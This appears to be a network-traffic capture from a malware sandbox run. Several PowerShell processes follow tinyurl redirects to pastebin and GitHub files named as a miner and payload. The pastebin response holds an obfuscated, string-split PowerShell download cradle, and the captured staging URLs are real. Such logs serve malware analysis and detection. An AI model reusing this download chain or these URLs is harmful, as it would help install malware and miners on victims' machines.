Sep 16, 2024 08:22:16.566400051 CEST	246	IN	Data Raw: 72 61 77 2f 73 41 30 34 4d 77 6b 32 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 70 61 73 74 65 62 69 6e 2e 63 6f 6d 2f 72 61 77 2f 73 41 30 34 4d 77 6b 32 Data Ascii: raw/sA04Mwk2'" /> <title>Redirecting to https://pastebin.com/raw/sA04Mwk2</title> </head> <body> Redirecting to <a href="https://pastebin.com/raw/sA04Mwk2">https://pastebin.com/raw/sA04Mwk2</a>. </body></html>0
Sep 16, 2024 08:22:17.860667944 CEST	140	OUT	GET /yk3s8ubp HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: tinyurl.com
Sep 16, 2024 08:22:17.980525970 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 16 Sep 2024 06:22:17 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt Referrer-Policy: unsafe-url X-Robots-Tag: noindex X-TinyURL-Redirect-Type: redirect Cache-Control: max-age=0, must-revalidate, no-cache, no-store, private X-TinyURL-Redirect: eyJpdiI6IjI2WGxnajM5b3JXSThBdDQ1ck1EMmc9PSIsInZhbHVlIjoiWmdWZVlVS3A5bWxZeEFXT2JwSnVEc2MzQVNuMTJKMFNuSmUrMm5GTlZjRGpMdGJpelB3cDJZR0xLbysxUER5ZjRKZmQ5c0dMUStXL0dkb2VoNm1ZNWc9PSIsIm1hYyI6IjE1YWIyMzhlYzgyYTljMWFkY2E3MDI1YjczMDRjNWFhMmM5ZDc4Y2I4M2VmY2Q0M2RiNWI1ZWQ2MzhkY2E5YzgiLCJ0YWciOiIifQ== X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: HIT Set-Cookie: __cf_bm=WBhjoPBjQ8LU_ljD2N442hu_CCF6EFwaxBAbz6rfC5Y-1726467737-1.0.1.1-KtNv4qJTshrde1OWxpiRA35aBDHneWp_I1vtAf6lRoNjYh9O3ZDYauVs0Ei8bJjfeBd7s3M0OHWhNIwpWSgR7w; path=/; expires=Mon, 16-Sep-24 06:52:17 GMT; domain=.tinyurl.com; HttpOnly Server: cloudflare CF-RAY: 8c3ec2e1fdaa1998-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 32 34 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d Data Ascii: 24e<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-
Sep 16, 2024 08:22:17.980540991 CEST	511	IN	Data Raw: 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 4e 65 74 68 33 4e 2f 6e 61 39 6f 77 33 34 39 35 Data Ascii: equiv="refresh" content="0;url='https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt'" /> <title>Redirecting to https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt</

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	104.18.111.161	80	1600	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 08:22:15.965769053 CEST	164	OUT	GET /yeykydun HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: tinyurl.com Connection: Keep-Alive
Sep 16, 2024 08:22:16.565685034 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 16 Sep 2024 06:22:16 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Location: https://pastebin.com/raw/sA04Mwk2 Referrer-Policy: unsafe-url X-Robots-Tag: noindex X-TinyURL-Redirect-Type: redirect Cache-Control: max-age=0, must-revalidate, no-cache, no-store, private X-TinyURL-Redirect: eyJpdiI6IlVWbE8yS1duREx1elRoT20zMXcxbFE9PSIsInZhbHVlIjoiRXlUcVpSNzZPQ3ZkZThVY2JQTEwyUEZaUFlpWGo2YmF0TkMzM1FiRkQvM01Jc0ZFTldSaExRdnBiQXFGQU8xaCtpNjNRUThEd1F6bC9wT2F6aStqb2c9PSIsIm1hYyI6IjMwYjhlYmRiZGNhOGU4NGFmYjZiZWU4NDJlMjU5ZmJmZDFhNTZjYjY2NjNlNTNiZDk0MDk3MzgxNjI0Mzk5Y2UiLCJ0YWciOiIifQ== X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: HIT Set-Cookie: __cf_bm=kns4JNh4bmirwl7HrHwDhb5SvOv7aKWNzy0cQcQbp9k-1726467736-1.0.1.1-LzwghP_MsNKviWisAWpIjUIJSuf4DG53c49QGbcdOuqLVKweH1jJ4OK5v2j5Aqgawewk1XTMcVyIWiGog3H0dg; path=/; expires=Mon, 16-Sep-24 06:52:16 GMT; domain=.tinyurl.com; HttpOnly Server: cloudflare CF-RAY: 8c3ec2d84ae443c5-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 31 37 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 70 61 73 74 65 62 69 6e 2e 63 6f 6d 2f Data Ascii: 17a<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://pastebin.com/
Sep 16, 2024 08:22:16.565718889 CEST	246	IN	Data Raw: 72 61 77 2f 73 41 30 34 4d 77 6b 32 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 70 61 73 74 65 62 69 6e 2e 63 6f 6d 2f 72 61 77 2f 73 41 30 34 4d 77 6b 32 Data Ascii: raw/sA04Mwk2'" /> <title>Redirecting to https://pastebin.com/raw/sA04Mwk2</title> </head> <body> Redirecting to <a href="https://pastebin.com/raw/sA04Mwk2">https://pastebin.com/raw/sA04Mwk2</a>. </body></html>0
Sep 16, 2024 08:22:16.566534996 CEST	246	IN	Data Raw: 72 61 77 2f 73 41 30 34 4d 77 6b 32 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 70 61 73 74 65 62 69 6e 2e 63 6f 6d 2f 72 61 77 2f 73 41 30 34 4d 77 6b 32 Data Ascii: raw/sA04Mwk2'" /> <title>Redirecting to https://pastebin.com/raw/sA04Mwk2</title> </head> <body> Redirecting to <a href="https://pastebin.com/raw/sA04Mwk2">https://pastebin.com/raw/sA04Mwk2</a>. </body></html>0
Sep 16, 2024 08:22:17.860482931 CEST	140	OUT	GET /yk3s8ubp HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: tinyurl.com
Sep 16, 2024 08:22:17.984237909 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 16 Sep 2024 06:22:17 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt Referrer-Policy: unsafe-url X-Robots-Tag: noindex X-TinyURL-Redirect-Type: redirect Cache-Control: max-age=0, must-revalidate, no-cache, no-store, private X-TinyURL-Redirect: eyJpdiI6IjI2WGxnajM5b3JXSThBdDQ1ck1EMmc9PSIsInZhbHVlIjoiWmdWZVlVS3A5bWxZeEFXT2JwSnVEc2MzQVNuMTJKMFNuSmUrMm5GTlZjRGpMdGJpelB3cDJZR0xLbysxUER5ZjRKZmQ5c0dMUStXL0dkb2VoNm1ZNWc9PSIsIm1hYyI6IjE1YWIyMzhlYzgyYTljMWFkY2E3MDI1YjczMDRjNWFhMmM5ZDc4Y2I4M2VmY2Q0M2RiNWI1ZWQ2MzhkY2E5YzgiLCJ0YWciOiIifQ== X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: HIT Set-Cookie: __cf_bm=Z92viumrrWiEdA8ClOg1PVV_y_PgraAnUoP0SZZMf4E-1726467737-1.0.1.1-DuhTujhDRX4eO.ff4qjjdxufRFrPZXPthbXifYCnn.aywOtkjTe21ZWuAlDylvbRkYhJVuKife0cdTPisWMlNQ; path=/; expires=Mon, 16-Sep-24 06:52:17 GMT; domain=.tinyurl.com; HttpOnly Server: cloudflare CF-RAY: 8c3ec2e1f91d43c5-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 32 34 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d Data Ascii: 24e<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-
Sep 16, 2024 08:22:17.984255075 CEST	511	IN	Data Raw: 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 4e 65 74 68 33 4e 2f 6e 61 39 6f 77 33 34 39 35 Data Ascii: equiv="refresh" content="0;url='https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt'" /> <title>Redirecting to https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt</

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	104.18.111.161	80	2668	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 08:22:15.967088938 CEST	164	OUT	GET /yeykydun HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: tinyurl.com Connection: Keep-Alive
Sep 16, 2024 08:22:16.566431046 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 16 Sep 2024 06:22:16 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Location: https://pastebin.com/raw/sA04Mwk2 Referrer-Policy: unsafe-url X-Robots-Tag: noindex X-TinyURL-Redirect-Type: redirect Cache-Control: max-age=0, must-revalidate, no-cache, no-store, private X-TinyURL-Redirect: eyJpdiI6IlVWbE8yS1duREx1elRoT20zMXcxbFE9PSIsInZhbHVlIjoiRXlUcVpSNzZPQ3ZkZThVY2JQTEwyUEZaUFlpWGo2YmF0TkMzM1FiRkQvM01Jc0ZFTldSaExRdnBiQXFGQU8xaCtpNjNRUThEd1F6bC9wT2F6aStqb2c9PSIsIm1hYyI6IjMwYjhlYmRiZGNhOGU4NGFmYjZiZWU4NDJlMjU5ZmJmZDFhNTZjYjY2NjNlNTNiZDk0MDk3MzgxNjI0Mzk5Y2UiLCJ0YWciOiIifQ== X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: HIT Set-Cookie: __cf_bm=UKH9CLoPRShd1TyM2gCL3d1NiAnK4Pa90LNeDHg0Z8E-1726467736-1.0.1.1-PtV7XPhiwxyaNqWgMnrJwntbsWCJUcYNl7vHABvWRY6Xulp6SM7mLwBtlyP8hIplntOkVK7lOx.7PlZv4b9McA; path=/; expires=Mon, 16-Sep-24 06:52:16 GMT; domain=.tinyurl.com; HttpOnly Server: cloudflare CF-RAY: 8c3ec2d85ee18c63-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 31 37 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 70 61 73 74 65 62 69 6e 2e 63 6f 6d 2f Data Ascii: 17a<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://pastebin.com/
Sep 16, 2024 08:22:16.566479921 CEST	246	IN	Data Raw: 72 61 77 2f 73 41 30 34 4d 77 6b 32 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 70 61 73 74 65 62 69 6e 2e 63 6f 6d 2f 72 61 77 2f 73 41 30 34 4d 77 6b 32 Data Ascii: raw/sA04Mwk2'" /> <title>Redirecting to https://pastebin.com/raw/sA04Mwk2</title> </head> <body> Redirecting to <a href="https://pastebin.com/raw/sA04Mwk2">https://pastebin.com/raw/sA04Mwk2</a>. </body></html>0
Sep 16, 2024 08:22:16.566561937 CEST	246	IN	Data Raw: 72 61 77 2f 73 41 30 34 4d 77 6b 32 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 70 61 73 74 65 62 69 6e 2e 63 6f 6d 2f 72 61 77 2f 73 41 30 34 4d 77 6b 32 Data Ascii: raw/sA04Mwk2'" /> <title>Redirecting to https://pastebin.com/raw/sA04Mwk2</title> </head> <body> Redirecting to <a href="https://pastebin.com/raw/sA04Mwk2">https://pastebin.com/raw/sA04Mwk2</a>. </body></html>0
Sep 16, 2024 08:22:17.874104977 CEST	140	OUT	GET /yk3s8ubp HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: tinyurl.com
Sep 16, 2024 08:22:17.992907047 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 16 Sep 2024 06:22:17 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt Referrer-Policy: unsafe-url X-Robots-Tag: noindex X-TinyURL-Redirect-Type: redirect Cache-Control: max-age=0, must-revalidate, no-cache, no-store, private X-TinyURL-Redirect: eyJpdiI6IjI2WGxnajM5b3JXSThBdDQ1ck1EMmc9PSIsInZhbHVlIjoiWmdWZVlVS3A5bWxZeEFXT2JwSnVEc2MzQVNuMTJKMFNuSmUrMm5GTlZjRGpMdGJpelB3cDJZR0xLbysxUER5ZjRKZmQ5c0dMUStXL0dkb2VoNm1ZNWc9PSIsIm1hYyI6IjE1YWIyMzhlYzgyYTljMWFkY2E3MDI1YjczMDRjNWFhMmM5ZDc4Y2I4M2VmY2Q0M2RiNWI1ZWQ2MzhkY2E5YzgiLCJ0YWciOiIifQ== X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: HIT Set-Cookie: __cf_bm=DpRPhyqPBw5.IthEPoY_ghCGTJ6OxyJRv0pPFWbi.fI-1726467737-1.0.1.1-UQqKwBAduIt.7CDYxeQd8IFTXzFTNiXmuKX8xI_u20YlETQbInGbKoauNM9GxoCimtlL_8bueKkfCp3ULe7xOQ; path=/; expires=Mon, 16-Sep-24 06:52:17 GMT; domain=.tinyurl.com; HttpOnly Server: cloudflare CF-RAY: 8c3ec2e20c598c63-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 32 34 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d Data Ascii: 24e<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-
Sep 16, 2024 08:22:17.992957115 CEST	511	IN	Data Raw: 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 4e 65 74 68 33 4e 2f 6e 61 39 6f 77 33 34 39 35 Data Ascii: equiv="refresh" content="0;url='https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt'" /> <title>Redirecting to https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt</

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49725	185.199.109.133	80	4400	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 08:22:36.698853016 CEST	226	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Sep 16, 2024 08:22:37.132210970 CEST	545	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt Accept-Ranges: bytes Date: Mon, 16 Sep 2024 06:22:37 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740066-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726467757.088803,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Mon, 16 Sep 2024 06:27:37 GMT Vary: Authorization,Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49726	185.199.109.133	80	2132	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 08:22:36.700063944 CEST	227	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Sep 16, 2024 08:22:37.128107071 CEST	546	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt Accept-Ranges: bytes Date: Mon, 16 Sep 2024 06:22:37 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890063-NYC X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726467757.086397,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Mon, 16 Sep 2024 06:27:37 GMT Vary: Authorization,Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49727	185.199.109.133	80	380	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 08:22:36.712529898 CEST	226	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Sep 16, 2024 08:22:37.154098034 CEST	545	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt Accept-Ranges: bytes Date: Mon, 16 Sep 2024 06:22:37 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740057-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726467757.111822,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Mon, 16 Sep 2024 06:27:37 GMT Vary: Authorization,Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49728	185.199.109.133	80	7236	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 08:22:36.804996014 CEST	226	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Sep 16, 2024 08:22:37.243402958 CEST	545	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt Accept-Ranges: bytes Date: Mon, 16 Sep 2024 06:22:37 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740032-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726467757.200770,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Mon, 16 Sep 2024 06:27:37 GMT Vary: Authorization,Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49729	185.199.109.133	80	3620	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 08:22:36.813246965 CEST	227	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Sep 16, 2024 08:22:37.280064106 CEST	546	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt Accept-Ranges: bytes Date: Mon, 16 Sep 2024 06:22:37 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740057-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726467757.232685,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Mon, 16 Sep 2024 06:27:37 GMT Vary: Authorization,Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49731	185.199.109.133	80	5840	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 08:22:36.849915981 CEST	226	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Sep 16, 2024 08:22:37.291676044 CEST	545	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt Accept-Ranges: bytes Date: Mon, 16 Sep 2024 06:22:37 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740068-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726467757.250272,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Mon, 16 Sep 2024 06:27:37 GMT Vary: Authorization,Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49730	185.199.109.133	80	5980	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 08:22:36.851703882 CEST	227	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Sep 16, 2024 08:22:37.301090002 CEST	546	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt Accept-Ranges: bytes Date: Mon, 16 Sep 2024 06:22:37 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740063-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726467757.257908,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Mon, 16 Sep 2024 06:27:37 GMT Vary: Authorization,Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49732	185.199.109.133	80	5616	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 08:22:36.933451891 CEST	227	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Sep 16, 2024 08:22:37.335361958 CEST	546	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt Accept-Ranges: bytes Date: Mon, 16 Sep 2024 06:22:37 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740020-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726467757.289825,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Mon, 16 Sep 2024 06:27:37 GMT Vary: Authorization,Accept-Encoding

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49711	104.20.3.235	443	1600	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 06:22:17 UTC	169	OUT	GET /raw/sA04Mwk2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pastebin.com Connection: Keep-Alive
2024-09-16 06:22:17 UTC	391	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 06:22:17 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Mon, 16 Sep 2024 06:22:17 GMT Server: cloudflare CF-RAY: 8c3ec2ddfd057cf3-EWR
2024-09-16 06:22:17 UTC	81	IN	Data Raw: 34 62 0d 0a 63 61 6c 6c 69 54 28 57 49 4e 44 4f 57 53 5f 4e 54 20 28 22 74 69 6e 22 2b 22 79 22 2b 22 75 72 22 2b 22 6c 2e 63 22 2b 22 6f 6d 2f 79 6b 22 2b 22 33 73 38 75 62 70 22 29 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 0d 0a Data Ascii: 4bcalliT(WINDOWS_NT ("tin"+"y"+"ur"+"l.c"+"om/yk"+"3s8ubp") -usebasicparsing)
